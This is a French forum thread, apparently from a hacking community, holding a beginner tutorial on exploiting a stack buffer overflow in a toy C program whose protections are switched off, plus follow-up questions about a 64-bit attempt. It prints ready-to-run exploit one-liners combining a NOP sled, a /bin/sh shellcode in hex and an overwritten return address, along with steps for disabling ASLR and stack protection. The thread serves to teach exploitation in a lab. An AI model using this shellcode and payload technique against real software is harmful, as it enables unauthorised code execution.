Buffer overflow, Votre première exploitation
|
09-02-2012, 01h09
(Modification du message : 20-06-2013, 21h09 par fr0g.)
Message : #1
|
|
fr0g
NTEuNDI2MzcsLTEuNzc4NDg4 Messages : 348 Sujets : 22 Points: 56 Inscription : Aug 2011 |
Buffer overflow, Votre première exploitation
# Author : fr0g
# Website : http://hwc-crew.com # Date : 02/02/2012 # Thank's : Storn( bsoddigital.fr ), int_0x80( big-daddy.fr ) Hello all, avant que les esprits ne s'échauffent, je tiens à préciser qu'il est préférable, pour ne pas dire nécessaire voire "indispensable", d'avoir des connaissances sur le fonctionnement d'un processeur, l'Assembleur, et une connaissance théorique des failles de type "Stack Overflow" afin de pouvoir suivre ce tutoriel en le comprenant correctement, je vais procéder à l'exploitation d'un programme "bidon" en vous expliquant les étapes au fur et à mesure, toutefois, je vais essayer de me montrer le plus explicite possible . NOTE : les mots suivis d'un "*" (exemple : BOF*) sont expliqués en bas de l'article Analysons le programme qui va être exploité : Code : #include <string.h> Afin de rendre notre exécutable vulnérable, on va le compiler de la manière suivante : Code : gcc vuln.c -o vuln -fno-stack-protector -ggdb3 Passons un coup notre programme à execstack pour savoir si l’exécution de la stack est possible : (Pour installer execstack (sous Debian) : sudo apt-get install execstack) Afin de savoir si le programme est vulnérable on fait : Code : fr0g@HWCare:~/Bureau$ execstack -q vuln Ceci nous signifie que la pile n'est pas exécutable, pour y remédier, execstack nous propose une fonction magique qui est : Code : execstack -s vuln On regarde à nouveau ? allez, soyons fous : Code : fr0g@HWCare:~/Bureau$ execstack -q vuln Yeaaah, il ne nous reste plus qu'a désactiver l'ASLR*, grâce à : Code : sudo sysctl -w kernel.randomize_va_space=0 Trêve de futilités mondaines, passons à l'exploitation Afin de déterminer à combien d'octets notre buffer va déborder, je vous invite à utiliser ce script: Code : # ------------------------------------------------------------------------------------------------- On le lance avec le nom de notre application en paramètres : Code : fr0g@HWCare:~/Bureau$ python findstackof.py vuln On sait donc qu'a partir de 264 Octets, notre programme va planter : un petit test à l'ancienne : Code : fr0g@HWCare:~/Bureau$ ./vuln `python -c "print 264*'A'"` Comme on le voit ici, le programme se ferme correctement à 263 octets, mais si on lui en donne 264, il plante. Maintenant, désassemblons notre exécutable avec cet outil magique qu'est le Gnu DeBugger, puis on va placer quelques octets (précisément des NOP (\x90)) dans l'argument sur lequel va travailler le programme, (dans le cas présent, j'en ai mis 270) Code : fr0g@HWCare:~/Bureau$ gdb vuln Si on regarde de plus près, l'adresse renvoyée par gdb : 0x08009090, on voit que les 2 derniers octets de l'adresse sont 9090 (90 est la valeur hexadécimale correspondant à l'instruction NOP en Assembleur) Afin d'être certain que ce n'est pas une coïncidence, essayons avec deux NOP en plus: Code : (gdb) r `python -c "print 272*'\x90'"` BINGO !!!, Maintenant, un peu de calcul (rien de difficile ^^) Je m'explique, l'adresse renvoyée par gdb correspond à ce que contient le registre EIP (qui est censé contenir en permanence l'adresse de la prochaine instruction à exécuter), autrement dit, il va falloir retirer au nombre de NOP entrés en paramètre, le nombre d'octets que l'on voudra placer dans EIP, afin qu'il pointe sur notre shellcode. Donc : 272-4 = 268 NOPS Essayons comme ceci : Code : (gdb) r `python -c "print 268*'\x90' + 'ABCD'"` EIP contient maintenant 0x44434241, ceci correspond à BCDA en hexadécimal, Pourquoi est-ce à l'envers ? Tous les détails ici : http://en.wikipedia.org/wiki/Endianness c'est pareil pour les octets de l'adresse que l'on va placer dans la pile, pour connaître cette adresse, on observe les registres du processeur après avoir fais planter le programme avec la dernière commande : Code : (gdb) info reg EIP contient bien les octets que l'on à placé après les nops, allons jeter un œil au registre esp : Code : (gdb) x/64x $esp Il ne nous reste plus qu'à noter une adresse qui tombe dans les NOP : 0xbffff800 Allez, on repars dans un petit calcul, le Shellcode que l'on va utiliser est un simple /bin/sh de 24 octets : Code : \x99\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80 Comme précédemment, il faut retirer au nombre de NOP le nombre d'octets composants shellcode, soit : 268 - 24 = 244 Notre exploit va se constituer de la manière suivante : les 244 NOP + le shellcode + l'adresse de retour, il ne reste plus qu'a essayer, on lance l'exploit : Je rappelle que notre adresse doit être écrite afin de correspondre à l'endiannes, donc 0xbffff800 = bffff800 = \x00\xf8\xff\xbf ce qui donne : Code : `python -c "print 244*'\x90' + '\x99\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80' + '\x00\xf8\xff\xbf'"` Code : (gdb) r `python -c "print 244*'\x90' + '\x99\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80' + '\x00\xf8\xff\xbf'"` Hmm, la fatigue me prends, une erreur de calcul manifestement, on voit clairement que l'adresse que l'on a placée dans l'argument avec les NOP et le shellcode n'est pas correctement placée dans EIP, mais cela n'est pas très grave, ajoutons un NOP histoire de la décaler, ce qui donne cet exploit : Code : `python -c "print 245*'\x90' + '\x99\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80' + '\x00\xf8\xff\xbf'"` Cette fois, ça devrait fonctionner, on quitte gdb, et on lance l'application avec notre exploit en paramètre : Code : fr0g@HWCare:~/Bureau$ ./vuln `python -c "print 245*'\x90' + '\x99\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80' + '\x00\xf8\xff\xbf'"` Notre shellcode s'est éxécuté, et a correctement appelé le /bin/sh Voilà , j'espère que j'ai été assez clair, bien que j'ai précisé que ce tutoriel s'adresse principalement aux initiés en langage Assembleur . Cordialement, fr0g. ################################################################################ Lexique : BOF : Abréviation de Buffer Overflow ASLR : "Address space layout randomization" : permet de rendre aléatoir les adresses de pile ################################################################################ |
|
11-02-2012, 02h56
Message : #2
|
|
Di0Sasm
Chimiste Messages : 922 Sujets : 56 Points: 92 Inscription : Aug 2011 |
RE: Votre première exploitation de Buffer overflow sous Linux x86
Très bon tutoriel, très bien expliqué.
|
|
12-02-2012, 20h35
Message : #3
|
|
fr0g
NTEuNDI2MzcsLTEuNzc4NDg4 Messages : 348 Sujets : 22 Points: 56 Inscription : Aug 2011 |
RE: Votre première exploitation de Buffer overflow sous Linux x86
Merci, si certains ont des améliorations à apporter au tuto, je suis preneur
|
|
18-06-2013, 22h05
Message : #4
|
|
Trivial
Membre actif Messages : 223 Sujets : 10 Points: 29 Inscription : Aug 2011 |
RE: Buffer overflow, Votre première exploitation
Je vais remonter le thread, mais ce n'est pas grave.. Ce tuto vaut la peine d'être lu :-)
Merci à toi de partager Citation :manger informatique, dormir informatique, chier informatique sans jamais avoir l'impression que ça nous accable ou que c'est relou, c'est ça être passionné - j0rn |
|
18-06-2013, 23h31
Message : #5
|
|
Satyr
Newbie Messages : 3 Sujets : 1 Points: 1 Inscription : Jun 2013 |
RE: Buffer overflow, Votre première exploitation
Code : # -------------------------------------------------------------------------------------------------------------------------------------- Doit être remplacé par : Code : # -------------------------------------------------------------------------------------------------------------------------------------- La seule différence est sur la structure bcolors ou tu na pas indenté correctement les éléments ^^ Cordialement Satyr. |
|
19-06-2013, 02h25
Message : #6
|
|
fr0g
NTEuNDI2MzcsLTEuNzc4NDg4 Messages : 348 Sujets : 22 Points: 56 Inscription : Aug 2011 |
RE: Buffer overflow, Votre première exploitation
Satyr : surement un blem du copy/paste sur le forum , merci bien
|
|
20-06-2013, 08h20
Message : #7
|
|
CronosDark
Newbie Messages : 5 Sujets : 1 Points: 1 Inscription : Jun 2013 |
RE: Buffer overflow, Votre première exploitation
Merci pour le tutoriel.
Il est bien fait! =) |
|
20-05-2014, 10h15
(Modification du message : 20-05-2014, 10h15 par Hypnoze57.)
Message : #8
|
|
Hypnoze57
Web Hacker Messages : 98 Sujets : 13 Points: 28 Inscription : Feb 2012 |
RE: Buffer overflow, Votre première exploitation
J'ai une question, mon seg fault commence à 256 octets et pas 272, pourquoi? (Je précise que je suis en 64 bits (eip = rip chez moi))
pas à 264* Make your own destiny now and forever !
|
|
20-05-2014, 10h36
Message : #9
|
|
gruik
gouteur de savon Messages : 757 Sujets : 44 Points: 482 Inscription : Oct 2012 |
RE: Buffer overflow, Votre première exploitation
(20-05-2014, 10h15)Hypnoze57 a écrit : J'ai une question, mon seg fault commence à 256 octets et pas 272, pourquoi? parceque le binaire ^^ tu devrais regarder dedans comment le programme déclare ton buffer et ce qu'il fait avec la stack exactement
Avant donc que d'écrire, apprenez à penser.
Selon que notre idée est plus ou moins obscure, l'expression la suit, ou moins nette, ou plus pure. Ce que l'on conçoit bien s'énonce clairement, et les mots pour le dire arrivent aisément. (Nicolas Boileau, L'Art poétique) |
|
20-05-2014, 10h38
Message : #10
|
|
Hypnoze57
Web Hacker Messages : 98 Sujets : 13 Points: 28 Inscription : Feb 2012 |
RE: Buffer overflow, Votre première exploitation
et j'en profite aussi pour vous demandez pourquoi je n'ai aucune adresse qui "tombe dans les NOPS"
Code : Program received signal SIGSEGV, Segmentation fault. (Je précise que j'ai run avec en arg `perl -e 'print "\x90"x264 . "ABCD"'`) Make your own destiny now and forever !
|
|
20-05-2014, 10h46
Message : #11
|
|
gruik
gouteur de savon Messages : 757 Sujets : 44 Points: 482 Inscription : Oct 2012 |
RE: Buffer overflow, Votre première exploitation
t'as essayé de regarder avant 0x7fffffffe520 et apres 0x7fffffffe610 ?
Avant donc que d'écrire, apprenez à penser.
Selon que notre idée est plus ou moins obscure, l'expression la suit, ou moins nette, ou plus pure. Ce que l'on conçoit bien s'énonce clairement, et les mots pour le dire arrivent aisément. (Nicolas Boileau, L'Art poétique) |
|
20-05-2014, 10h56
Message : #12
|
|
Hypnoze57
Web Hacker Messages : 98 Sujets : 13 Points: 28 Inscription : Feb 2012 |
RE: Buffer overflow, Votre première exploitation
Merci pour tes réponses gruik ! J'ai regarder un peu mon programme effectivement si je ne me trompe pas, 0x00000000004005b5 <+25>: lea -0x100(%rbp),%rax = 254 octets
Par contre, pour ma seconde question (qui est très bloquante) j'ai regarder après mais je ne sais pas comment regarder avant, une idée? Le premier que je trouve se situe à 0x7fffffffe910 c'est bizarre non? Make your own destiny now and forever !
|
|
20-05-2014, 11h14
Message : #13
|
|
gruik
gouteur de savon Messages : 757 Sujets : 44 Points: 482 Inscription : Oct 2012 |
RE: Buffer overflow, Votre première exploitation
(20-05-2014, 10h56)Hypnoze57 a écrit : si je ne me trompe pas, 0x00000000004005b5 <+25>: lea -0x100(%rbp),%rax = 254 octetsraté 0x100 = 256 Citation :Par contre, pour ma seconde question (qui est très bloquante) j'ai regarder après mais je ne sais pas comment regarder avant, une idée? Code : (gdb) x/64x $rsp - 256 pour rappel "x/64x" on dump 64 dwords en hexadecimal, un dword c'est 4 octets dont 64x4 = 256, chaque "page" qu'on affiche on recule de 256 on a tout interet à s'arranger avec gdb et rendre ça aussi pratique que possible hein : Code : (gdb) x/128x $rsp - (512*0)
Avant donc que d'écrire, apprenez à penser.
Selon que notre idée est plus ou moins obscure, l'expression la suit, ou moins nette, ou plus pure. Ce que l'on conçoit bien s'énonce clairement, et les mots pour le dire arrivent aisément. (Nicolas Boileau, L'Art poétique) |
|
20-05-2014, 12h48
Message : #14
|
|
Hypnoze57
Web Hacker Messages : 98 Sujets : 13 Points: 28 Inscription : Feb 2012 |
RE: Buffer overflow, Votre première exploitation
Merci pour tes réponses, effectivement mes nops commencent plus haut c'est peut être la source de mon problème (vu que j'essayé plus bas) je vous tiendrai au courant de mes avancées
Make your own destiny now and forever !
|
|
20-05-2014, 14h36
(Modification du message : 20-05-2014, 15h28 par Hypnoze57.)
Message : #15
|
|
Hypnoze57
Web Hacker Messages : 98 Sujets : 13 Points: 28 Inscription : Feb 2012 |
RE: Buffer overflow, Votre première exploitation
Hum je ne comprends pas pourquoi ceci ne fonctionne pas.. :
Code : w00t@debian:~/applicatif/buffer_overflow$ ./fr0g `perl -e 'print "\x90"x237 . "\x99\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1​\xb0\x0b\xcd\x80" . "\x10\xe4\xff\xff\xff\x7f"'` rip est bien réecrit avec la bonne adresse mémoire (trouvé avec gdb avec x/64x $rsp -512) Pourquoi j'ai un seg fault et ne suis pas redirigé vers /bin/sh? J'ai peu être identifier le problème, je regardai le fichier core alors qu'en le faisant directement dans gdb avec 236 j'ai 2 caractères qui manque dans mon adresse (comme fr0g d'ailleur) et avec 237 sous gdb l'adresse change pas mal.. Adresse à obtenir: 0x7fffffffe410 rip avec 236 (sous gdb ET fichier core) : 0x7fffffffe4 rip avec 237 (sous gdb) : 0x7fffffffe50b rip avec 237 (fichier core) : 0x7fffffffe410 (Bonne adresse !!) Auriez-vous des idées? Make your own destiny now and forever !
|
|
Sujets apparemment similaires… | |||||
Sujet | Auteur | Réponses | Affichages | Dernier message | |
Metasploit, les bases et exploitation | itcef | 9 | 1,091 |
25-09-2014, 23h26 Dernier message: The_Dark_Line |
Utilisateur(s) parcourant ce sujet : 2 visiteur(s)